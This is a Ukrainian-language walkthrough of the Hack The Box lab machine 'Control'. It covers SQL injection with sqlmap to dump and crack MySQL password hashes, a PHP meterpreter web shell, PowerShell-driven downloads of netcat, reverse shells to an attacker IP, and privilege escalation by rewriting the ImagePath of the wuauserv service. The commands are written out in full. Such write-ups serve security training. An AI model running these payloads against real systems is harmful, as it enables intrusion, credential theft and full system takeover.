
Стаття описує покрокове проходження машини «Control» з платформи Hack The Box. Демонструємо, як за допомогою SQL-ін’єкції отримати доступ до системи, а потім підвищити привілеї через маніпуляції з правами на служби. Процес включає сканування портів за допомогою інструментів masscan та nmap, налаштування заголовків HTTP для обходу обмежень доступу, експлуатацію вразливості за допомогою sqlmap та отримання облікових даних користувача. Завершується все підвищенням привілеїв до адміністратора системи.
Публікація присвячена рішенню задач із майданчика HackTheBox, які були направлені на доопрацювання.
У статті показано, як за допомогою SQL-ін’єкції отримати доступ до системи, дослідити історію командного рядка та підвищити привілеї, використовуючи наявні права на службу.
Для підключення до лабораторії використовується VPN. Не рекомендується використовувати робочий комп’ютер або пристрій із важливими даними, оскільки доступ здійснюється до приватної мережі, де перебувають досвідчені спеціалісти в галузі інформаційної безпеки.
Ця машина має IP адресу 10.10.10.167, яку додаємо в /etc/hosts.
10.10.10.167 control.htb
Насамперед виконується сканування відкритих портів. Щоб пришвидшити процес, замість nmap спочатку використовується masscan. Скануються всі TCP та UDP порти через інтерфейс tun0 зі швидкістю 1000 пакетів на секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.167 --rate=1000
Тепер для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.
nmap -A control.htb -p80,135,3306,49667,49666
На хості працює веб-сервер. Подивимося, що там.
І бачимо, що є посилання на адмінку. Але нам повідомляють, що немає заголовка і ми повинні звертатися через проксі.
І ми вдало заходимо на сторінку адміну. Давайте зайдемо через браузер.
Але при спробі щось зробити нас будуть викидати на сторінку з повідомленням про проксі. Так відбувається тому, що ми не підставляємо знайдений заголовок. Щоб не робити це щоразу в Burp Suite у вкладці Proxy -> Options знайдемо функцію “Match and Replace”.
І додамо новий запис, який автоматично додаватиме цей заголовок у всі вихідні запити.
І тестуючи поле пошуку, знаходимо SQL ін’єкцію.
Для експлуатації використовуємо sqlmap. Давайте збережемо цей запит у файл (Copy to file) і запустимо sqlmap, передавши цей файл як параметр.
sqlmap -r headers.req
Подивимося які є бази даних.
sqlmap -r headers.req --dbs
Давайте дізнаємося, які облікові дані. Подивимося усі таблиці в базі даних mysql.
sqlmap -r headers.req -D mysql --tables
Так нас цікавить таблиця user. Давайте отримаємо назви всіх колонок.
sqlmap -r headers.req -D mysql -T user --columns
З усіх колонок найцікавіші User та Password. Дізнаємося що в них.
sqlmap -r headers.req -D mysql -T user -C User,Password --dump
У базі даних зберігаються облікові записи кількох користувачів. Sqlmap пропонує здійснити злам хешів. Для цього вибирається атака за словником, де вказується власний словник, а саме шлях до файлу rockyou.
Через кілька секунд з’являється таблиця з іменами користувачів та хешами їхніх паролів. Якщо sqlmap успішно зламав пароль, він відобразить його поряд із хешем у дужках. У цьому випадку надано облікові дані користувача hector.
Отримати доступ до шелу за допомогою sqlmap не вдалося, проте є можливість записувати файли. Тож наступний крок — розмістити веб-шелл. Для цього спершу генерується meterpreter-навантaження у форматі PHP.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.82 LPORT=4321 -f raw > r.php cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
А тепер запишемо його за допомогою sqlmap у директорію веб-сервера.
sqlmap -r headers.req --file-write=/home/ralf/tmp/r.php --file-dest=C:/inetpub/wwwroot/r.php
Файл успішно записано. Запустимо листонер.
І звернемося до свого файлу на веб-сервері.
curl http://control.htb/r.php
У вікні Metasploit спостерігаємо успішне підключення.
Переходимо у цю сесію.
Виникла проблема: виконувати команди через шелл неможливо, а будь-які спроби призводять до розриву з’єднання. Для обходу цього обмеження пропонується створити процес PowerShell у прихованому (-H) інтерактивному (-i) режимі, передаючи необхідну команду як параметр (-a). Для початку визначається, під яким користувачем здійснюється робота.
У нас є облікові дані Гектора, дізнаємося, чи є такий користувач у системі.
Такий користувач є! Але спочатку дізнаємось ім’я машини.
Маючи логін, пароль, домен і назву машини, наступним кроком є перевірка працездатності отриманих облікових даних. Для цього виконується команда “whoami” від імені користувача Гектора.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { whoami }" -i -H
Чудово. Давайте отримаємо шелл. Запустимо на локальному хості веб-сервер.
python3 -m http.server 80
І завантажимо на віддалений хост Netcat.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { iwr 10.10.15.82/nc.exe -o C:\\Users\\Hector\\Documents\\nc.exe }" -i -H
Тепер відкриємо у себе 5432 порти. nc -lvp 5432 і здійснимо зворотне підключення з віддаленого хоста.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { C:\\Users\\Hector\\Documents\\nc.exe -e powershell 10.10.15.82 5432 }" -i -H
Так ми беремо користувача.
Далі при спробі завантажити на хост один із засобів збору інформації з хоста (такі як BloodHound , PowerUp , JAWS , WinPEAS ) зауважуємо, що їх видаляє дефендер. Але WinPEAS має bat версія , яка не видаляється. Завантажимо його на хост і запускаємо. Далі слід лише уважно переглядати зібрану інформацію. І ми знаходимо цікавий файл ConsoleHost_history.txt
Дивимося, що він містить.
Єдині доступні команди включають використання командлета Get-Acl
, який дозволяє отримати об’єкти, що представляють дескриптор безпеки файлу або ресурсу. Дескриптор безпеки містить списки керування доступом (ACL), які визначають дозволи для користувачів і груп щодо доступу до ресурсу.
На основі цього зроблено висновок, що рішення пов’язане зі службами та доступом до них. Наступним кроком буде отримання переліку всіх служб і перевірка дозволів користувача Гектора для роботи з ними.
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Hector Users Path"
Переглядаючи висновок, зауважуємо, що Гектор має повні права на службу оновлення Windows – wuauserv.
Служби в операційній системі Windows працюють із правами System, що надає їм найвищий рівень доступу. При реєстрації служби в системі шлях до виконуваного файлу зберігається в атрибуті ImagePath. Для підвищення привілеїв можна змінити значення цього атрибута, вказавши на власний виконуваний файл. Наступним кроком буде зміна атрибута ImagePath для завантаження шеллу.
reg add "HKLM\System\CurrentControlSet\Services\wuauserv" /v ImagePath /t REG_SZ /d "C:\Users\Hector\Documents\nc.exe -e powershell 10.10.15.82 6543"
Тепер запустимо службу оновлення.
start-service wuauserv
І отримуємо шелл із максимальними привілеями.
Машина Control на платформі HackTheBox демонструє класичний сценарій тестування на проникнення, який охоплює ключові аспекти кібербезпеки: сканування, експлуатацію уразливостей, використання SQL-ін’єкцій, роботу з базами даних, підвищення привілеїв та взаємодію з системними службами. Це завдання чудово підходить для практики, оскільки дає можливість відточити навички роботи з реальними вразливостями та інструментами кібербезпеки.